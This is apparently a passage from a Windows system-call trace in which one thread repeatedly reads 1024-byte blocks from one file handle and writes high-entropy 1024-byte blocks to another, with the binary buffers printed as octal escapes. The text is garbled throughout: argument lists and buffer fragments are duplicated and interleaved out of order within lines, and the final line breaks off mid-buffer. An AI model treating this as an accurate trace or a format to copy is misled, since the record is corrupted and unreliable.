 01433  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ")R\243\4\377\332\352\203!\201\276?\354W\331r\227\337\272\323\244D\302k\241\25\231\344x-+\1\200\320M]\1\351\27\365\324\370v\261=\16\242\224\253w\32x\35c\236\207\36\272J\314\231y\3038\233#\366\344\204E3B\276\353\321F6!:\223\36A\370\271\306KH\331e\252\241J\221*p\330P\25\204s\205IX\252;i\32\236\301z\355\3\202\351\17\311\330\354\34\335D \244w$\367\236\274\351q\273Y\311p\31\361V\213$\317\366\313\\347\361\210R\3633\355eg\330\326\201\334\327\216%\241\263g\320=\36m\15x'\27\372MX\6\20|D\341\342]\247\253/L\2555\246\315\305\234\257\49\345V\333\5\202\370(\275\354\2749}$\14"\252\226L\17\246\207\3123\237wV\260\252\331SB8\373\253O\215Yt9A\275\214\246\274\242\313S\262D\253/\306\346\340] \217\366}\17\10\347\253\0j\202\211\11\315\341;B\341mL2f\26\264]\245:\267\16\377\201\305\237l\230\221\340\375^\262J\236\252\311=\354\372\372| *\313\233\\251<\210\3766b\23\3153\236u\261\304Y|\3341\11\217\34\220E\366nEc\202\252t\321\335\243\303'\245\14\5A\250\360\327\313\7\250hl0\310\237i\2\347\352E\237\221\205v\11H\16\324\253[%#\356\27d\223\301\300\200\15\335*J\35\235T\265\240\345\200s\26\342\11\343\264\333\213\256&*\2241\355\216T\32s\327\215\16\342\344%\377\227\345\234\237\32r\314H\227n\22]\347\311\203\3279!\215\34~*\201\1\315o]\324z\354\250\252e9x_|Q\251St\230\304\237\6.\362\316gA\35t\333<\36\313\335\202\240\266\275\2663\6\270\256a\205TzC6ih(d\221ut:\264P]\320n\315\372\26", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \252\226L\17\246\207\3123\237wV\260\252\331SB8\373\253O\215Yt9A\275\214\246\274\242\313S\262D\253/\306\346\340] \217\366}\17\10\347\253\0j\202\211\11\315\341;B\341mL2f\26\264]\245:\267\16\377\201\305\237l\230\221\340\375^\262J\236\252\311=\354\372\372| *\313\233\\251<\210\3766b\23\3153\236u\261\304Y|\3341\11\217\34\220E\366nEc\202\252t\321\335\243\303'\245\14\5A\250\360\327\313\7\250hl0\310\237i\2\347\352E\237\221\205v\11H\16\324\253[%#\356\27d\223\301\300\200\15\335*J\35\235T\265\240\345\200s\26\342\11\343\264\333\213\256&*\2241\355\216T\32s\327\215\16\342\344%\377\227\345\234\237\32r\314H\227n\22]\347\311\203\3279!\215\34~*\201\1\315o]\324z\354\250\252e9x_|Q\251St\230\304\237\6.\362\316gA\35t\333<\36\313\335\202\240\266\275\2663\6\270\256a\205TzC6ih(d\221ut:\264P]\320n\315\372\26", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01434  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\13\4\0\2\16\2\4\14\14\13\14\1\13\17\5\7*)')-\33\20\27\33\24\37\21\25\23\30\35\33\25\27\31\35\13\6\0\2\16\2\4\14\11\14\2\1\13\17\5\13*&*,$\21\21\32\27\36\22\24\34\31\32\32\30\26\32\34\24\1\6\4\5\16\2\4\14\11\12\17\15\6\12\14\4*/)+%\27\23\31\22\21\27\24\35\37\33\21\32\30\30\27\25\7\3\11\2\5\7\3\15\17\13\1\12\15\5\14\5,.&/*\23\27\30\24\26\36\22\36\30\23\35\31\27\31\37\30\12\6\0\10\7\1\5\15\17\13\1\2\12\13\4\10)',)(\22\33\25\21\37\24\37\21\34\23\35\31\27\37\36\37\0\13\5\1\17\4\17\2\16\3\15\11\7\17\12\10!+/%.\23\22\23\31\23\27\35\25\35\32\20\34\36\26\33\35\2\13\5\1\17\4\7\1\2\16\10\0\15\5\7\6!+/%.\26\22\20\31\23\27\35\26\32\35\31\21\33\37\25\30\10\7\10\4\6\16\7\5\0\16\0\14\16\6\11\14*&*,$\21\30\20\22\36\22\24\34\31\37\37\23\26\32\34\24\11\11\5\11\3\7\15\6\0\11\12\1\13\17\5\12#.')-\33\20\32\33\26\37\21\25\23\35\34\37\26\32\34\24\1\5\4\1\16\2\4\14\11\1\16\13\6\12\14\4*+,'%\27\23\31\22\21\26\25\35\37\33\21\35\25\33\24\30\2\12\4\0\16\2\4\14\14\13\11\1\13\17\5\16)/,$(\22\32\23\32\27\24\34\20\32\22\23\36\35\27\31\35\13\0\4\0\2\17\1\5\3\10\16\2\11\7\11\15 +,)%\27\23\31\22\34\27\27\35\37\33\21\32\25\37\24\30\2\12\3\3\1\2\14\0\12\2\13\13\12\12\4\10)'*'+\32\26\20\30\22\25\34\20\32\22\36\33\25\27\31\35\13\5\1\0\16\2\4\14\12\11\12\16\6\12\14\4*$)", ) , ) == 0x0
 01435  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\13\333\3\337\265\315\333T\256\254\207d$\245\210\233\310m\207\371\222\25\310 \235[f\334\221<\333\2c\316$\16\372=\336>b\316\200?6E7\253\201`\34~\257N\263\334\215\300e3\325"~\354\3050^GW-$\245T\3\30\3\q\376\23\255\223\37\265\3328\227\360\251o$\207\374\253\232\367\375\210\372k\353\302\357\260\261\2s\277\272\213;\325\10+\260\312\216D?]\352?\335>\364[\353\331=\335\3L\341\207\312\24\265\224Y\263\360\347F9\230_%w\347\344\365\207\343\365\310\375/X<\325\270\360m $\250\16\14\337\314\247\267F\177h\17_\365(\21(X\275\355m'<\351l\36br\244\326\351\361&\3223{,\16\273W\252g\203\376\265\1nb\26\241i\334\302\15\253\4\342\177_F\33\20\37\216\267)o\244=D\300\273\\316/\264\365O;\334\273\3009"\265\223\235\35\270\5\224H\3\36\341y\21\203CBQ\223\37\325\325\207\12_Wa\273|\275\f{(\357\344(\244v{\273\177G \371`\377\7-PU \207\310\32\304\347\235\250\221\241\13R!\203\205\13EG\2159Hc\334s\307H\275\201X\311\260\353\12\300\212\347a5\1\323\216\255l\245c\342\234\343I\216\237\340\205x\267\216/\200\361\301\24\240\362\15\206\356\212\206\24\267\25P\277\233\277\355\250\270\325.\220\261[=\304'\272\346+\316\15\236;5\311z\211\300o\13\213i\366\225%t\221j\2633\200\20|>\320\33 \224\277\364\26D\305\207\313\315V\252\365ZG\330\242\37\211\370\205V=\223\15<\\227\300_\357\315\10f\325\30t\32\257\204N\27\216\361+|\263\316\274t\31\206\336\3\352\335\357\330\276)\326>\261\362\207\353I\35\366\31\272\340\336\343_\200\237\275\273/\333\265\324{\347\310", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) ~\354\3050^GW-$\245T\3\30\3\q\376\23\255\223\37\265\3328\227\360\251o$\207\374\253\232\367\375\210\372k\353\302\357\260\261\2s\277\272\213;\325\10+\260\312\216D?]\352?\335>\364[\353\331=\335\3L\341\207\312\24\265\224Y\263\360\347F9\230_%w\347\344\365\207\343\365\310\375/X<\325\270\360m $\250\16\14\337\314\247\267F\177h\17_\365(\21(X\275\355m'<\351l\36br\244\326\351\361&\3223{,\16\273W\252g\203\376\265\1nb\26\241i\334\302\15\253\4\342\177_F\33\20\37\216\267)o\244=D\300\273\\316/\264\365O;\334\273\3009 (92, 0, 0, 0, "\13\333\3\337\265\315\333T\256\254\207d$\245\210\233\310m\207\371\222\25\310 \235[f\334\221<\333\2c\316$\16\372=\336>b\316\200?6E7\253\201`\34~\257N\263\334\215\300e3\325"~\354\3050^GW-$\245T\3\30\3\q\376\23\255\223\37\265\3328\227\360\251o$\207\374\253\232\367\375\210\372k\353\302\357\260\261\2s\277\272\213;\325\10+\260\312\216D?]\352?\335>\364[\353\331=\335\3L\341\207\312\24\265\224Y\263\360\347F9\230_%w\347\344\365\207\343\365\310\375/X<\325\270\360m $\250\16\14\337\314\247\267F\177h\17_\365(\21(X\275\355m'<\351l\36br\244\326\351\361&\3223{,\16\273W\252g\203\376\265\1nb\26\241i\334\302\15\253\4\342\177_F\33\20\37\216\267)o\244=D\300\273\\316/\264\365O;\334\273\3009"\265\223\235\35\270\5\224H\3\36\341y\21\203CBQ\223\37\325\325\207\12_Wa\273|\275\f{(\357\344(\244v{\273\177G \371`\377\7-PU \207\310\32\304\347\235\250\221\241\13R!\203\205\13EG\2159Hc\334s\307H\275\201X\311\260\353\12\300\212\347a5\1\323\216\255l\245c\342\234\343I\216\237\340\205x\267\216/\200\361\301\24\240\362\15\206\356\212\206\24\267\25P\277\233\277\355\250\270\325.\220\261[=\304'\272\346+\316\15\236;5\311z\211\300o\13\213i\366\225%t\221j\2633\200\20|>\320\33 \224\277\364\26D\305\207\313\315V\252\365ZG\330\242\37\211\370\205V=\223\15<\\227\300_\357\315\10f\325\30t\32\257\204N\27\216\361+|\263\316\274t\31\206\336\3\352\335\357\330\276)\326>\261\362\207\353I\35\366\31\272\340\336\343_\200\237\275\273/\333\265\324{\347\310", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01436  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\36\22\24\34\31\36\35\35\26\32\34\24\1\0\1\4\16\2\4\14\11\13\15\3\6\12\14\4**,*%\27\23\31\22\25\27\36\35\37\33\21\32\35\35\24\30\2\12\3\4\4\17\1\5\3\10\16\17\6\12\14\4**)-%\27\23\31\22\34\23\27\35\37\33\21\23\32\37\24\30\2\12\12\3\14\17\1\5\3\12\3\15\6\12\14\4/%.$(\22\32\23\21\23\25\34\20\32\22\34\30\30\27\31\35\13\6\0\11\3\7\15\0\10\0\0\14\16\6\17\16#/')-\33\20\23\33\23\37\21\25\23\30\35\22\26\32\34\24\1\1\4\3\16\2\4\14\11\13\14\16\6\12\14\4)$.$(\22\32\23\26\25\24\34\20\32\22\33\23\36\27\31\35\13\3\13\6\16\2\4\14\14\15\15\1\13\17\5\16*-,$(\22\32\23\32\21\34\34\20\32\22\33\31\30\27\31\35\13\3\6\7\16\2\4\14\11\14\10\2\6\12\14\4/$$$(\22\32\33\32\22\37\21\25\23\20\36\21\33\37\25\27\11\6\10\4\6\16\17\4\1\3\15\11\7\14\11\16+&*,$\21\24\22\31\23\27\35\25\30\31\36\21\33\37\25\30\5\5\10\4\6\16\4\5\17\3\15\11\7\4\17\5,.&''\30\33\25\21\37\24\26\25\32\23\35\31\27\34\32\35\4\13\5\1\17\3\17\15\17\13\1\14\10\4\4\10)',-/\32\26\20\30\25\20\21\27\22\36\30\20\32\30\37\25\7\3\11\0\6\2\14\0\12\2\13\3\12\10\4\10)',,'\20\33\25\21\37\21\36\20\22\36\30\20\35\31\27\36\12\6\0\10\5\4\7\15\17\13\1\12\13\17\14\5,.&/,\24\27\30\24\26\36\27\20\20\35\20\34\36\26\37\35\11\2\10\4\6\16\7\4\14\0\0\14\16\6\17\13)$')-\33\22\26\24\36\22\24\34\31\37\30\33\26\32\34\24\3\0\10\4\6\16\7", ) , ) == 0x0
 01437  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\245\326b\337#[v^\364:\376G\337\370\271`\310\326\234\300r@AQ\200\22\20\11\224v}4H%\13\342\211Ud\222\262\211\366\215\352\202\30P\35\0+\0\347\36\37cS\327 \265\254\3077\32\254k\306,\273\202\226%\351\2015\240\220\265vC\213\213\376\24\1\244a.\305\206\357\304\205t\316/5k\265\237\256\31\370\10\3108\241\313\345\203\236\221\346\365\340\375P\301[\11H\33\316\5v\371\227\375\251\5;\263\355\21U\204\207\241\321Q\261\R\373gU\347>\5\276\22\331$\264\252\204\261\257/\377\36\225\31\275\371z\207Rz\377\325\366\361q\222\204nz!\335\252\270!\253\226M\241\6\323k\231\337@@NHY)U\204\344\363r~y\307'O\7\224;\223\274o\331\275\221{\261a'\213\332\336FA\11\227\271^\266\330ZtO\252*\345\5\307tw\372\10\371\334\301\35\362<.\222E\212\265\31\354~)\366<\14\240\252ef\221\225\367\2551\265o\157\302\373\354y\11r\0\364Wb&'^\16\331C^\362+\367-\226\177\21\367\2705\332\267\240)2\376\357\5y\326\371e\205*\247k\276\37O:\\23\33\253B\303\12\341\3451YsC\376P\2179\330\251 \306\222!_(b.\206|IAK\323\315\212G\3\275\227=D\250\317z\211`CjL\202\253\212^\251\316\332\215\261\350\363\377\7WR\332\316\362\362\27\370\230\221\377PO3\24\256\343\2452K\337\356_a\376\304\373\2463\22\217\215\312O\25o\360\257\303\27~\246\2512\203m1$/\345\0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01438  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17\11\14!+/%.\24\27\22\31\23\27\35\37\34\32\20\34\36\26\37\32\10\4\10\4\6\16\0\16\17\3\15\11\7\17\6\6!+/%*\31\20\30\24\26\36\37\26\20\23\35\31\27\34\26\30\7\13\5\1\17\2\4\17\2\16\10\0\11\11\16\5,.&/-\24\23\30\24\26\36\37\37\30\23\35\31\27\34\37\27\4\13\5\1\17\4\2\1\11\3\15\11\7\14\13\10!+/%.\30\20\26\31\23\27\35\26\20\33\30\21\33\37\25\36\5\3\12\11\3\7\15\17\16\3\15\11\7\14\13\15.&*,$\30\25\20\31\23\27\35\26\21\21\34\21\33\37\25\36\11\11\7\11\3\7\15\6\15\12\3\1\13\17\5\16#.)$(\22\32\23\21\27\23\34\20\32\22\36\30\32\27\31\35\13\0\2\4\4\17\1\5\3\13\17\14\6\12\14\4(+$$(\22\32\23\22\23\24\34\20\32\22\22\36\25\27\31\35\13\0\2\0\3\17\1\5\3\10\10\15\12\7\11\15 )*-%\27\23\31\21\26\35\34\20\32\22\34\34\30\27\31\35\13\7\1\5\16\2\4\14\11\0\13\15\6\12\14\4*/),%\27\23\31\22\25\21\23\35\37\33\21\23\37\35\24\30\2\12\13\12\14\17\1\5\3\12\11\10\6\12\14\4**.*%\27\23\31\22\23\25\27\35\37\33\21\32\30\24\35\25\7\3\11\2\1\1\0\15\17\13\1\12\17\14\6\5,.&/&\20\24\30\24\26\36\27\25\32\35\20\34\36\26\37\33\3\4\10\4\6\16\4\1\11\3\15\11\7\10\6\10!+/%.\25\31\32\31\23\27\35\24\31\20\20\34\36\26\27\35\3\13\5\1\17\7\2\5\2\16\10\0\12\16\15\5,.&/.\26\24\30\24\26\36\27\27\32\36\20\34\36\26\27\32\6\13\5\1\17\4\2\5\13\3\15\11\7\14\16\16+&*,$\21\24\27\25\36\22\24\34\31\35\37", ) , ) == 0x0
 01439  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "M\0\334\223\307f\354\310q\237\221b\234W\314\2\265zQ\207\11J`*\\215"\347.\306Y\10\203q\250\201\235\3276\327\223\3543\241r\301\313\235\21\14\267\16\256\17\265\31q\206\336\333\303{\221G\251O\27q\264b\220v\306\337\2279,\244\242\231\275\11>K\363\26\327\215\211P\347\333\366:\260\177\347\3\301\206+b\245\225 U\315\272\377\272*\270j\3266E\347\336\312w~\211\13/\245\3052g\374\202#\214\264gz\223\370\312\346m\366\326\363\2\364\243\204b\250>\344\207}\17s\357\35\303\212\312|\3104vr\321\234\3516\32k\360\13Dr\2662\245/\27\27j\260\214\206\2\346\234\310\302R\272\26\220\231\265\10\242\250\322\16?|\346\2\332\332\240\203C\366=\334d\14\333r\4\257\22#SN\306}\31?Hx\200_\24\373\255\\35_$5\3277Zd\224\347\201H\3\201O\374}'2c\270\3248]KZ+v\357\24\345\222\301\336u*\244\266\276{T\346\355\324\337\356\237\356\2012fX\263\310\20\3609\336\325\276\250>O\326\361P\243\33008\272\241\\374\221*v\342\201\255\354\202\360\261~\346\316\336\271\363Y\235\26Ak\14\301\327\367\233\344\201\14n\343\370H\372\5c\6\360"\6+\320Mp\331<9\344\370Lg\13\371#\336\270\257\35)\246\274tT4\362;\301+\277d\327\347\15aw\250v\221\22\271\307\267\306\250\332\25\222\366-%W~\2175\275om\37\262'%Y\333+\223\200\366\254\2\213\265F\302\216\30\254UU\32Z|w\267p\21=\236lqO\7\353\34\327\300\25\177\273\206\13\267\215r\377\360%\313\34\323/"a2\362U\37,\340\32v\224Q\246\242\226VA\243\305*\346q\267\215\266\4\311\2413\354Ta\21\31\277\20h\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \347.\306Y\10\203q\250\201\235\3276\327\223\3543\241r\301\313\235\21\14\267\16\256\17\265\31q\206\336\333\303{\221G\251O\27q\264b\220v\306\337\2279,\244\242\231\275\11>K\363\26\327\215\211P\347\333\366:\260\177\347\3\301\206+b\245\225 U\315\272\377\272*\270j\3266E\347\336\312w~\211\13/\245\3052g\374\202#\214\264gz\223\370\312\346m\366\326\363\2\364\243\204b\250>\344\207}\17s\357\35\303\212\312|\3104vr\321\234\3516\32k\360\13Dr\2662\245/\27\27j\260\214\206\2\346\234\310\302R\272\26\220\231\265\10\242\250\322\16?|\346\2\332\332\240\203C\366=\334d\14\333r\4\257\22#SN\306}\31?Hx\200_\24\373\255\\35_$5\3277Zd\224\347\201H\3\201O\374}'2c\270\3248]KZ+v\357\24\345\222\301\336u*\244\266\276{T\346\355\324\337\356\237\356\2012fX\263\310\20\3609\336\325\276\250>O\326\361P\243\33008\272\241\\374\221*v\342\201\255\354\202\360\261~\346\316\336\271\363Y\235\26Ak\14\301\327\367\233\344\201\14n\343\370H\372\5c\6\360 (92, 0, 0, 0, "M\0\334\223\307f\354\310q\237\221b\234W\314\2\265zQ\207\11J`*\\215"\347.\306Y\10\203q\250\201\235\3276\327\223\3543\241r\301\313\235\21\14\267\16\256\17\265\31q\206\336\333\303{\221G\251O\27q\264b\220v\306\337\2279,\244\242\231\275\11>K\363\26\327\215\211P\347\333\366:\260\177\347\3\301\206+b\245\225 U\315\272\377\272*\270j\3266E\347\336\312w~\211\13/\245\3052g\374\202#\214\264gz\223\370\312\346m\366\326\363\2\364\243\204b\250>\344\207}\17s\357\35\303\212\312|\3104vr\321\234\3516\32k\360\13Dr\2662\245/\27\27j\260\214\206\2\346\234\310\302R\272\26\220\231\265\10\242\250\322\16?|\346\2\332\332\240\203C\366=\334d\14\333r\4\257\22#SN\306}\31?Hx\200_\24\373\255\\35_$5\3277Zd\224\347\201H\3\201O\374}'2c\270\3248]KZ+v\357\24\345\222\301\336u*\244\266\276{T\346\355\324\337\356\237\356\2012fX\263\310\20\3609\336\325\276\250>O\326\361P\243\33008\272\241\\374\221*v\342\201\255\354\202\360\261~\346\316\336\271\363Y\235\26Ak\14\301\327\367\233\344\201\14n\343\370H\372\5c\6\360"\6+\320Mp\331<9\344\370Lg\13\371#\336\270\257\35)\246\274tT4\362;\301+\277d\327\347\15aw\250v\221\22\271\307\267\306\250\332\25\222\366-%W~\2175\275om\37\262'%Y\333+\223\200\366\254\2\213\265F\302\216\30\254UU\32Z|w\267p\21=\236lqO\7\353\34\327\300\25\177\273\206\13\267\215r\377\360%\313\34\323/"a2\362U\37,\340\32v\224Q\246\242\226VA\243\305*\346q\267\215\266\4\311\2413\354Ta\21\31\277\20h\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) a2\362U\37,\340\32v\224Q\246\242\226VA\243\305*\346q\267\215\266\4\311\2413\354Ta\21\31\277\20h\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01440  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01441  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\337\235!L\31\354\234b\273\6LL\260\200\246\317\314\220\241Hy\367\207\33\221\363<+\213\362\317\306\11\301\200\213iD\325\363\205\260\237*;\305\33569\13*\354\223X\256l'\204h\216\377a.\221D\22\234\265Y\230k\13t1c\331\335\34\200\16o\2755\317'\370\376V\224\302\10bn\261X\14\210\232\274\27\240\255\303.\206\200\263\217\225\24\253\362\20\252\245\300\336\201v\373\361\216\231kk\247\201'\206@p\304td\25\366\10~?Y\272\263\21\\16]&\340\237\36\37\11Y\346\2459\350\312P*n\2101\322\325\351V\2354\3748\244w\37/\270fX<7\220\361\78O\245\200>W\3\313waP\3172\14FcM$\363\214\345\270\271\237\335"\376\311+\376\340r\320\332]LF)\15\337U\273\300\266\206\364@#0Ms\13]\333m\311fkXM\25XVb\351\35\4\271\25X\5x8\224,'\326\11&\213\317\254E\303\276\ea-@0n"\220R\301\2432\36\2217+\230\362\313\216PY\333\31Qw\343\1\265\340S\34\376[0\237\206\236\216\375I\244\\340\13<\270\233\12\260\0\325\211\16\200N\11:ZT\236\233\321\203\272\337\34\24#\315\201J\215\37\237\353\234}4RoM\6\12\206\257\245&X7\202\37\315\252\356\276\24c\206\274uMF\221P\303'L3\307\214N\17\36v\316)/L]\340\314\2e}=je\367U\34?\224\21u[\336\7\326C\236\226e\3(VT\20GS\314\232\203mYX\13\21\26q\32\3048`\273\225:^\213}\14\210W\251\250\364\363\330\261\227(\221\325\201\17\344H\200\227\221\12O[[s\254\316\312\272\234@\205\210\366\3242\202\220\202\357\13.\240\13;\336\351\223v\243\245y\350\33I\351?\353u", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \376\311+\376\340r\320\332]LF)\15\337U\273\300\266\206\364@#0Ms\13]\333m\311fkXM\25XVb\351\35\4\271\25X\5x8\224,'\326\11&\213\317\254E\303\276\ea-@0n (92, 0, 0, 0, "\337\235!L\31\354\234b\273\6LL\260\200\246\317\314\220\241Hy\367\207\33\221\363<+\213\362\317\306\11\301\200\213iD\325\363\205\260\237*;\305\33569\13*\354\223X\256l'\204h\216\377a.\221D\22\234\265Y\230k\13t1c\331\335\34\200\16o\2755\317'\370\376V\224\302\10bn\261X\14\210\232\274\27\240\255\303.\206\200\263\217\225\24\253\362\20\252\245\300\336\201v\373\361\216\231kk\247\201'\206@p\304td\25\366\10~?Y\272\263\21\\16]&\340\237\36\37\11Y\346\2459\350\312P*n\2101\322\325\351V\2354\3748\244w\37/\270fX<7\220\361\78O\245\200>W\3\313waP\3172\14FcM$\363\214\345\270\271\237\335"\376\311+\376\340r\320\332]LF)\15\337U\273\300\266\206\364@#0Ms\13]\333m\311fkXM\25XVb\351\35\4\271\25X\5x8\224,'\326\11&\213\317\254E\303\276\ea-@0n"\220R\301\2432\36\2217+\230\362\313\216PY\333\31Qw\343\1\265\340S\34\376[0\237\206\236\216\375I\244\\340\13<\270\233\12\260\0\325\211\16\200N\11:ZT\236\233\321\203\272\337\34\24#\315\201J\215\37\237\353\234}4RoM\6\12\206\257\245&X7\202\37\315\252\356\276\24c\206\274uMF\221P\303'L3\307\214N\17\36v\316)/L]\340\314\2e}=je\367U\34?\224\21u[\336\7\326C\236\226e\3(VT\20GS\314\232\203mYX\13\21\26q\32\3048`\273\225:^\213}\14\210W\251\250\364\363\330\261\227(\221\325\201\17\344H\200\227\221\12O[[s\254\316\312\272\234@\205\210\366\3242\202\220\202\357\13.\240\13;\336\351\223v\243\245y\350\33I\351?\353u", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01442  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01443  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\256`s\33w\307@_O\177\222\334T\257\257\320\37n\207\355\271\257\3\340\314\206\271\24\11\332\326\342\7\210\20W\20\356N\30\220\227e\215\270\241\12+\351;\332\314\3604\320\273\11\205"pT-\260fW\265\1\17\360\362}w\375\347%\242\253OW\20\240W\226\204\340q&:\1\307\224y\240\207d\266\213PUd\346\260\325R\244\370\20\317\5*\316f\2\263:Y\35nl\216o\270l1\306\2257\260g\1\344N[H\214zh\234vJ?\213\3p\202\361\23\335\371h 6\365m\16\13\331\266\206\251(\250(M\220\371\374\220\223O\206Q\231\357\314\353\233\21\306\354>MRr\330\317\31\240w\27N#l\302\6}\372\36\2\272\243\306\15K\306\353\234~E\363cE\313j\231\274f@'tf\315\227\300\371\304\365\17\351\241\333\363\327\334L7\325D\332\317\304(p\226_\322V~\301Rj\207\20\235B\242\247\214\11\323*\34\14\26M%#\33\256\203\31\11Knfk7S\307\371.\15\224rO\327\237\27H\206\13\12\215\13\327\17\264\353\367\236\14\240\213\225G\222\240\356N\37\361\360N\3674\3179\3261\355\253\322\264\33\240\256\302W"|X\5Cy^BI!T\263\0\340/\204\243\13\33\333\300*{\321\22\360D\345[", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \20\356N\30\220\227e\215\270\241\12+\351;\332\314\3604\320\273\11\20523\251\240\213\235\3\222\2200\307\233\355a\272\254v\23\371\16\31\251\341D\365\265%\232\200E\223\256\5\212:\12\373kW\270\312\252\31?C^\327\242\365\321o\360\212\352\230ifrf\2CLs\265\14\203\20*\350U\260\224\255,\344 (92, 0, 0, 0, "\256`s\33w\307@_O\177\222\334T\257\257\320\37n\207\355\271\257\3\340\314\206\271\24\11\332\326\342\7\210\20W\20\356N\30\220\227e\215\270\241\12+\351;\332\314\3604\320\273\11\205"pT-\260fW\265\1\17\360\362}w\375\347%\242\253OW\20\240W\226\204\340q&:\1\307\224y\240\207d\266\213PUd\346\260\325R\244\370\20\317\5*\316f\2\263:Y\35nl\216o\270l1\306\2257\260g\1\344N[H\214zh\234vJ?\213\3p\202\361\23\335\371h 